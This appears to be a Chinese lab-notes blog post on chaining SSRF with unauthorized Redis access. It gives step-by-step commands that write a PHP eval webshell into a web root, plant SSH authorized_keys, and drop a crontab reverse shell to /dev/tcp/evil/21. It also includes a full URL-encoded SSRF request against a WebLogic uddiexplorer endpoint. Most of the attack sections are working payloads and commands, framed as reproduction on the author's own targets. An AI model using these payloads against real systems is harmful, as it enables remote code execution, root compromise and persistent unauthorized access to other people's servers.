SSRF实验

一 ssrf+redis未授权访问漏洞01

1.漏洞复现:
./redis-cli -h 127.0.0.1 -p 6379
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test “whoami”
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]
在这里插入图片描述通过redis上传webshell
1.因为配置有误的redis所有主机都可以登上,所以我们先登上再说:redis-cli -h 192.168.179.128
2. 登上之后,需要得到靶机网站的物理路径(方法:1.报错界面查找信息 2.dirsearch查找phpinfo信息等)。当然,我用的自己的靶机因此掐指一算就得出该位置
CONFIG SET /usr/share/nginx/html
3.随后给咱们shell起个名,并编写恶意代码
CONFIG SET dbfilename redis.php //起名
set webshell “<?php @eval($_POST['shell']);?>” //编写一句话木马
4.save保存
5.这时我们用蚁剑进行连接,测试下中用不
在这里插入图片描述
公私钥匙上传进行免密登录
1.首先咱们需要现在靶机建立一个文件夹(默认存放公私钥的地方)
mkdir /root/.ssh
2. 随后咱们在攻击机生成密钥对
ssh-keygen -t rsa
id_rsa为私钥,id_rsa.pub为公钥
3.随后将公钥文件写入文本文件中
(echo -e “\n\n”;cat id_rsa.pub;echo -e “\n\n”) > 1.txt
4.连接靶机redis
redis-cli -h 靶机IP
config set dir /root/.ssh #设置redis备份的目录为/root/.ssh
在这里插入图片描述
5.一般情况下系统会认定authorized_keys为公钥文件名,因此咱们给他起个这样的名字
config set dbfilename authorized_keys # 设置公钥文件名
在这里插入图片描述
结果:
在这里插入图片描述

二 ssrf+redis未授权访问02

GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE
在这里插入图片描述
发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
进行url编码:
saveset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
0

注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

三 ssrf+python+redis反序列化+csrf漏洞

访问http://ip:2222
尝试file读取文件,成功读取,说明存在ssrf漏洞
在这里插入图片描述
尝试访问本地6379端口,发现redis报错,说明存在redis组件
在这里插入图片描述
利用python脚本生成payload,注意是python2
在这里插入图片描述
抓包发送payload,(这里因为是post数据流,可以urlencode,也可以不用)
在这里插入图片描述
可以看到redis返回ok
等待一分钟左右,成功反弹root权限
在这里插入图片描述
进容器,可以看到任务计划中成功写入反弹shell脚本
在这里插入图片描述
写公钥+免密登录
同样利用python脚本生成payload
ssh-keygen生成密钥
在这里插入图片描述
抓包发送payload,可以看到redis返回ok
在这里插入图片描述
然后直接ssh登录,成功登录,注意这里的 -p 10025,因为是容器的22端口映射到服务器上的10025端口
在这里插入图片描述
进容器查看.ssh目录,发现的确写入了公钥
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值